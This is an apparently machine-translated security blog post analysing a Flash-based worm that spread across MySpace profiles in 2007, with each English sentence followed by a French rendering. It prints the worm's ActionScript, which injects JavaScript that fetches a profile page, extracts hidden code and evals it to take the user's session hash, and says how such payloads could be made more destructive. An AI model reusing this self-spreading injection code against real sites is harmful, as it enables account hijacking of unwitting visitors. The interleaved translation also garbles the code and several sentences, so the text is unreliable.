MySpace has been infected by Flash based (swf) worm which spreading rapidly through MySpace. MySpace a été infectés par Flash (swf) ver qui se propager rapidement par le biais de MySpace. It is embedding JavaScript code into users’ profiles that redirects visitors to a site claiming the US government was behind the 9/11 terrorist attacks, Symantec Il est l'intégration du code JavaScript dans des utilisateurs de profils qui redirige les visiteurs vers un site qui revendique le gouvernement des États-Unis était à l'origine de la 9 / 11 attaques terroristes, Symantec warned a mis en garde Monday. Lundi. However it may be just the tip of the iceberg. Toutefois, il mai être que la pointe de l'iceberg. Let’s take a look at how it works to understand how it can be easily modified to deliver much devastating payloads. Voyons comment cela fonctionne à comprendre comment il peut être facilement modifiée pour fournir les charges utiles plus dévastateurs.

The unnamed worm isn’t malicious but the Shockwave Flash (.swf) file containing the payload embeds JavaScript into the profile of any MySpace user who views the .swf file. Le ver anonyme n'est pas malveillant, mais le Shockwave Flash (. Swf) fichier contenant la charge utile widgets JavaScript dans le profil MySpace de tout utilisateur qui considère le. Swf. This can easily replicate Cela peut facilement reproduire Samy is my friend Samy est mon ami worm without breaking a sweat. ver sans casser une sueur.

This javascript code would then be interpreted by any user who visited the site, allowing sensitive data to be stolen, such as a hash value required to carry out operations as a user, and performing operations on behalf of that users (without consent obviously). Ce code javascript serait alors interprétée par n'importe quel utilisateur qui a visité le site, permettant à des données sensibles d'être volés, comme une valeur de hachage nécessaire pour effectuer des opérations comme un utilisateur, et à exécuter certaines opérations pour le compte de que les utilisateurs (sans consentement évidemment). Currently, that access is being used only to spread the JavaScript code to other profiles on the popular social network site. Actuellement, cet accès est utilisé seulement pour diffuser le code JavaScript à d'autres monographies sur le populaire site de réseau social.

If the payload is malicious, it can carry out secondary attacks like targeting recently discovered vulnerabilities affecting Microsoft Office content. Si la charge utile est malveillant, il peut effectuer des attaques secondaires comme le ciblage récemment découvert vulnérabilités affectant Microsoft Office. The impact would be much higher exposing even sensitive information on your hard-disk. L'impact serait beaucoup plus élevé exposant même des informations sensibles sur votre disque dur.

Let’s take a look at the worm, thanks to research by Jetons un coup d'œil au ver, grâce à la recherche par kinematic.theory :

When you visited an already infected page, there is a Flash object embedded (”redirect.swf”) which contains the actionscript: Lorsque vous avez visité une page déjà infectés, il est un objet Flash intégré ( "redirect.swf") qui contient le ActionScript:
getURL(" getURL ( " url Web “); ");

It opens and redirects you to the specified blog URL. Il s'ouvre et vous redirige à l'URL spécifiée blog.

On this blog url there is another flash file embedded - “retrievecookie.swf”. Sur ce blog url il ya un autre fichier flash intégré - "retrievecookie.swf". It contains: Il contient:

getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\' getURL ( "javas \ n \ rcript: var x = new ActiveXObject ( 'Msxml2.XMLHTTP \'); x.open (\ 'GET \', \ 'http://editprofile.myspace.com/index.cfm? fuseaction = user.HomeComments & friendID = 93634373 \ ", true); x.onreadystatechange = function () (if (x.readyState == 4) (var pg = x.responseText; var sc = pg.substring (pg.indexOf (\ "BX-\ ') +3, pg.indexOf (\' EX-\ ')), tandis que ((sc.indexOf ('
\’)!=-1)||(sc.indexOf(\’-XXX\’)!=-1)){var n=sc.indexOf(\’ \')!=- 1) | | (sc.indexOf (\ '-XXX \')!=- 1)) (var n = sc.indexOf ('
\’);if(n==-1)n=sc.indexOf(\’-XXX\’);sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};” + “eval(sc);}};” + “x.send(null);”, “”); \ '); If (n ==- 1) n = sc.indexOf (\'-XXX \ '); sc.substring sc = (0, n) + sc.substring (n +5, sc.length); ); "+" Eval (sc );}};" + "x.send (null);", "");

It opens another blog post ( Il ouvre un autre blog ( link lien ) and evaluates its contents. ) Et évalue son contenu.

This code gets your MySpace hash which allows anyone to act as you on MySpace and perform any operations on your behalf like changing your password or adding someone unknown as your friend, anything you can do on MySpace. Ce code est votre MySpace de hachage qui permet à quiconque d'agir comme vous sur MySpace et d'effectuer toutes les opérations en votre nom comme changer votre mot de passe ou l'ajout de quelqu'un d'inconnu que votre ami, tout ce que vous pouvez faire sur MySpace. Currently the code adds a message to your MySpace profile. Actuellement, le code ajoute un message à votre profil MySpace. It extensively use AJAX for its operations. Il largement utiliser AJAX pour ses opérations.